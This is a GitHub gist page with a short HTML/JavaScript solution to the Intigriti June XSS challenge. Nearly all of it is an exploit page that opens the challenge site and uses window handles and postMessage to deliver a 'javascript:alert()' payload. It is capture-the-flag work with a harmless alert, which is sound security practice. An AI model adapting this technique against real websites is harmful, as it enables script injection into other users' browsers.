Skip to content

Instantly share code, notes, and snippets.

@mannharleen

mannharleen/xss solution for challenge-june.intigriti.io

Created August 23, 2020 10:00
Show Gist options
  • Save mannharleen/af52f2bc32b8ed6581c5126cdced08ba to your computer and use it in GitHub Desktop.
Save mannharleen/af52f2bc32b8ed6581c5126cdced08ba to your computer and use it in GitHub Desktop.
Download ZIP
Raw
xss solution for challenge-june.intigriti.io
// host this code on IPv6 website with "c" in IP.
<span id=ifr>
<iframe></iframe>
</span>
<script>
function sleep(ms) {
return new Promise(r => setTimeout(r, ms));
}
async function solve() {
let win = window.win = window.open("http://challenge-june.intigriti.io/#a", "_blank", "width=500,height=500");
await sleep(1000);
win.location = "http://challenge-june.intigriti.io/#b";
frames[0].eval("parent.win.postMessage('javascript:alert()','*')");
ifr.innerHTML = '';
}
</script>
<body onload="solve()">
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment